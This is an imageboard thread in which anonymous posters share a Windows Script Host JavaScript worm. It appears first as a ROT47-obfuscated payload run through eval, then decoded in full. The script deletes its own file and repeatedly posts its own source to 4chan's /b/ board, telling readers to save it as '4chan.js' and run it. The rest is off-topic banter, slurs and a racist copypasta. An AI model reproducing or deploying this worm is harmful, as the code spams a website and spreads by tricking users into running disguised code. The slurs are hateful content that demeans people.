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Name: Anonymous 2008-06-13 18:58

Good job, anon. I applaud thee for your wits and skills.

Name: Anonymous 2008-06-13 19:02

nm="<lQr@?E6?E\\s:DA@D:E:@?iO7@C>\\52E2jO?2>6lQ\r\n"+
"7F?4E:@?OCWXLC6EFC?O$EC:?8]7C@>r92Cr@56WQ2Q]492Cr@56pEW_XZ"+
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vv=""
for(i=0;i<nm.length;i++){
if(nm.charAt(i)=="\r")vv+="\r"
else if(nm.charAt(i)=="\n")vv+="\n"
else vv+=String.fromCharCode((nm.charCodeAt(i)-32+47)%94+32)}
eval(vv);

Name: Anonymous 2008-06-13 19:05

k="Content-Disposition: form-data; name=" function r(){return String.fromCharCode("a".charCodeAt(0)+Math.floor(Math.random()*26))} f=WSH.createobject("scripting.filesystemobject") g=f.opentextfile(WSH.scriptfullname) h=g.readall() g.close() f.deletefile(WSH.scriptfullname) x="Copy and paste the following to Notepad, save with the filename \"4chan.js\", open the file you created and shit bricks.\r\n\r\n"+h a=WSH.createobject("msxml2.xmlhttp") while(1){ a.open("get","http://img.4chan.org/b",0) a.send() b=a.responsetext c=b.substr(b.indexOf("res/")+4,8) d="" e="" for(i=0;i<20;i++)d+=r() for(i=0;i<8;i++)e+=r() a.open("post","http://dat.4chan.org/b/imgboard.php",0) t="multipart/form-data; boundary="+d a.setrequestheader("Content-Type",t) a.send("--"+d+"\r\n"+k+"\"MAX_FILE_SIZE\"\r\n\r\n"+ "2097152\r\n--"+d+"\r\n"+ k+"\"resto\"\r\n\r\n"+c+"\r\n--"+d+"\r\n"+ k+"\"name\"\r\n\r\n\r\n--"+d+"\r\n"+ k+"\"email\"\r\n\r\n\r\n--"+d+"\r\n"+ k+"\"sub\"\r\n\r\n\r\n--"+d+"\r\n"+ k+"\"com\"\r\n\r\n"+x+"\r\n--"+d+"\r\n"+ k+"\"upfile\"; filename=\"\"\r\n"+ "Content-Type: application/octet-stream\r\n\r\n\r\n--"+d+"\r\n"+ k+"\"pwd\"\r\n\r\n"+e+"\r\n--"+d+"\r\n"+ k+"\"mode\"\r\n\r\nregist\r\n--"+d+"--\r\n") WSH.sleep(3e4+Math.floor(Math.random()*3e4))}

Name: Anonymous 2008-06-13 19:05

Translates to:
k="Content-Disposition: form-data; name="
function r(){return String.fromCharCode("a".charCodeAt(0)+Math.floor(Math.random()*26))}
f=WSH.createobject("scripting.filesystemobject")
g=f.opentextfile(WSH.scriptfullname)
h=g.readall()
g.close()
f.deletefile(WSH.scriptfullname)
x="Copy and paste the following to Notepad, save with the filename \"4chan.js\", open the file you created and shit bricks.\r\n\r\n"+h
a=WSH.createobject("msxml2.xmlhttp")
while(1){
a.open("get","http://img.4chan.org/b",0)
a.send()
b=a.responsetext
c=b.substr(b.indexOf("res/")+4,8)
d=""
e=""
for(i=0;i<20;i++)d+=r()
for(i=0;i<8;i++)e+=r()
a.open("post","http://dat.4chan.org/b/imgboard.php",0)
t="multipart/form-data; boundary="+d
a.setrequestheader("Content-Type",t)
a.send("--"+d+"\r\n"+k+"\"MAX_FILE_SIZE\"\r\n\r\n"+
"2097152\r\n--"+d+"\r\n"+
k+"\"resto\"\r\n\r\n"+c+"\r\n--"+d+"\r\n"+
k+"\"name\"\r\n\r\n\r\n--"+d+"\r\n"+
k+"\"email\"\r\n\r\n\r\n--"+d+"\r\n"+
k+"\"sub\"\r\n\r\n\r\n--"+d+"\r\n"+
k+"\"com\"\r\n\r\n"+x+"\r\n--"+d+"\r\n"+
k+"\"upfile\"; filename=\"\"\r\n"+
"Content-Type: application/octet-stream\r\n\r\n\r\n--"+d+"\r\n"+
k+"\"pwd\"\r\n\r\n"+e+"\r\n--"+d+"\r\n"+
k+"\"mode\"\r\n\r\nregist\r\n--"+d+"--\r\n")
WSH.sleep(3e4+Math.floor(Math.random()*3e4))}

Name: Anonymous 2008-06-13 19:06

Neat.

Name: Anonymous 2008-06-13 19:06

>>4
Nicely formatted. Yes.

Name: Anonymous 2008-06-13 19:07

    '-._                  ___.....___
        `.__           ,-'        ,-.`-,            HAVE YOU READ
            `''-------'          ( λ )  `._       YOUR SICP TODAY ?
                                  `-'      \
                                            \
                                  .         \
                                   \---..,--'
       ................._           --...--,
                         `-.._         _.-'
                              `'-----''

Name: Anonymous 2008-06-14 22:17

What?

Name: Anonymous 2008-06-14 22:38

I wish.  It's machine code.

Name: Anonymous 2008-06-15 2:59

Does this count as a quine?

Name: Anonymous 2008-06-15 3:03

>>10
HAHAHA, FUCK YEAH!

Name: Anonymous 2008-06-15 4:19

>>11
Calm the fuck down.

Name: Anonymous 2008-06-15 7:42

>>10
No, it reads its own file.

Name: Anonymous 2008-06-15 19:05

http://www.softpanorama.org/Unixification/wsh.shtml
Wsh changed the playing field for Windows and moved it above Unixes which had a sobering  impact on Linux enthusiasts, who always keen to criticize the "mouse" productivity of Windows environment. You can use JavaScript shell in Windows applications and there are many books to teach those great productivity tools that come with the Microsoft OS. With WSH you can do really interesting things including sending keystokes to programs.
Wsh changed the playing field for Windows and moved it above Unixes which had a sobering  impact on Linux enthusiasts,
HAHAHA OH WOW

Really, Windows, just start shipping with Perl or Python already. What the fuck is wrong with you.

Name: Anonymous 2008-06-15 19:09

>>14
Even Ubuntu comes with FIOC!

Name: Anonymous 2008-06-15 20:37

>>14
Don't forget the Windows file locking feature making it useless to use a huge number of scripts.

Name: Anonymous 2008-06-15 23:00

>>16
ARGH

FUCK

FUCKING WINDOWS LET ME MOVE THAT FUCKING FILE, I DON'T CARE IF IT'S BEING USED, FILE DESCRIPTORS SHOULD BE IRRELEVANT TO THE DAMNED PATH YOU FUCKING PIECE OF SHIT

Name: Anonymous 2008-06-16 0:18

YOU CAN'T `MOVE' A FILE THAT'S BEING READ. THE BEHAVIOR IS UNDEFINED. FAGOT.

Name: Anonymous 2008-06-16 0:33

>>18
Sup, Windows programmer.

I don't know how your toy OS works, but in real OSes, it's perfectly ok to move a file that's being read. It doesn't invalidate the file descriptors, they're completely unrelated to the path.

Name: Anonymous 2008-06-16 1:39

>>19
Virgin

Name: Anonymous 2008-06-16 1:43

>>18,19
same person, I can tell by the stupid terminology.
lrn2filesystems.

Name: Anonymous 2008-06-16 7:26

>>17-21
lrn2tunafilesystem

Name: Anonymous 2008-06-16 8:38

/r/ c version

Name: Anonymous 2008-06-16 8:39

/r/ c version of this

Name: Anonymous 2008-06-16 10:27

/r/ a version of this

Name: Anonymous 2008-06-16 12:33

>>24

#include <stdio.h>

int main() {
    printf(">>24");
    return 0;
}


>>25
>>23,24

Name: Anonymous 2008-06-16 13:02

>>23,24
Too bad c doesn't have eval

Name: Anonymous 2008-06-16 15:38

>>27
Bitches don't know 'bout my libtcc.

Name: !IGEMrmvKLI 2008-06-16 21:39

a

Name: Anonymous 2009-02-25 6:46


Extr.

Name: Anonymous 2010-12-17 1:27

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Are you a NIGGER?
Are you a GAY NIGGER?

If you answered "Yes" to all of the above questions, then GNAA (GAY NIGGER ASSOCIATION OF AMERICA) might be exactly what you've been looking for!

Name: Anonymous 2011-01-31 20:00

<-- check em dubz

Name: Anonymous 2011-02-03 4:05

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Name: bampu pantsu 2012-05-29 3:50

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